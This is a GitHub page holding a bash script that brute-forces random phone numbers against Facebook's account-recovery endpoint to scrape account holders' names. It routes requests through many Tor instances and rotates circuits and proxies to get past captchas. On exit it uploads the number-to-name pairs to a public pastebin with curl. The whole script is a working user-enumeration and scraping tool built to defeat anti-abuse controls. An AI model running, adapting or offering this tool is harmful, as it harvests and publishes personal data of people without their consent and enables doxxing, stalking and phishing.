-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathscrape_fb.sh
executable file
·136 lines (120 loc) · 3.12 KB
/
scrape_fb.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env bash
echo "Hi, I'm the script that will scrape facebook name from random phone numbers for you, press any button to continue"
read
echo "Please give me a range of ports that I will use, from port (below 9999)..."
read BEGIN
echo "... to port (below 9999) ..."
read END
RANGE=$(seq ${BEGIN} ${END})
echo "Are these tor ports already working? (y/N)"
read UP
if [ -z "${UP}" ]; then
UP="n"
fi
echo "Now, write your area code (e.g +213)"
read CODE
echo "How many digits is there after this area code?"
read N
echo "Do you want to fixe the first digits? (e.g. the first two +21377XXXXXXX) (Y/n)"
read YN
if [ -z "${YN}" ]; then
YN="y"
fi
if [ "${YN,,}" = "y" ]; then
echo "To which value?"
read FIXED
fi
FOUND=()
touch /tmp/torsocks.conf
cat >/tmp/torsocks.conf <<EOL
server = 127.0.0.1
server_port = 7000
EOL
export TORSOCKS_CONF_FILE=/tmp/torsocks.conf
function random {
LEN=$1
MAX=$(printf '9%.0s' $(seq 1 ${LEN}))
((LEN--))
MIN=1$(printf '0%.0s' $(seq 1 ${LEN}))
shuf -i ${MIN}-${MAX} -n 1
}
function twget {
URL="$@"
torsocks wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" -T 10 -4qO- ${URL} 2> /dev/null
}
function tget_name {
NUM="$@"
RES=$(twget --post-data="email=${NUM}" "https://m.facebook.com/login/identify?ctx=recover")
if [[ $RES =~ captcha ]]
then
echo -1
return
fi
echo ${RES} | tee -a .fb_log | grep -oP '<div\sclass="w\sx">(.*?)<\/div>' | sed -e :a -e 's/<[^>]*>//g;/</N;//ba'
}
function multitor {
RANGE="$@"
for i in ${RANGE}; do (tor -f <(echo -e "SocksPort $i\nDataDirectory .$i\nControlPort 1$i")&) ; done;
}
function newnym {
PORT="$@"
echo -e 'authenticate ""\nSIGNAL NEWNYM' | telnet localhost 1${PORT} > /dev/null 2>&1
}
function switch_proxy {
NEWPORT=$(echo ${RANGE} | sed 's/ /\n/g' | sort --random-sort | head -n 1)
sed -i '$s/.*/server_port = '${NEWPORT}'/g' /tmp/torsocks.conf
echo ${NEWPORT}
}
function gen_number {
CODE=$1
FIXED=$2
(( N = $3-${#FIXED} ))
echo ${CODE}${FIXED}$(random ${N})
}
function scrape_fb {
NUM=$1
STR=""
NEW_PORT=$(switch_proxy)
RES=$(tget_name ${NUM})
if [ "${RES}" = "-1" ]; then
echo "PORT ${NEW_PORT}: Captcha found! finding a new clean pathway..."
newnym NEW_PORT
(sleep 60 && scrape_fb ${NUM}) &
else
if [ -z "${RES}" ]; then
RES="unknown"
elif [ "+${RES}" = "${NUM}" ] || [ "${RES}" = "${NUM}" ]; then
STR=" (I'll retry later...)"
(sleep 60 && scrape_fb ${NUM}) &
else
FOUND+=("${NUM}:${RES}")
fi
echo -e "\e[31m\e[1mPORT ${NEW_PORT}: ${NUM} => ${RES}${STR}\e[0m"
fi
}
function control_c {
FOUND="$@"
echo -e "\n*** Well... Exiting! ***\n"
echo "Do you want to kill all tor instances (y/N)"
read KILLTOR
if [ -z "${KILLTOR}" ]; then
KILLTOR="n"
fi
if [ "${KILLTOR,,}" = "y" ]; then
killall tor
fi
echo "Results:"
printf -- '%s\n' "${FOUND[@]}"
echo "You can find results in the link that will appear below..."
printf -- '%s\n' "${FOUND[@]}" | curl -F 'sprunge=<-' http://sprunge.us
exit $?
}
if [ "${UP,,}" = "n" ]; then
multitor ${RANGE}
fi
switch_proxy > /dev/null 2>&1
trap "control_c ${FOUND}" SIGINT
while :
do
scrape_fb $(gen_number "${CODE}" "${FIXED}" "$N" )
done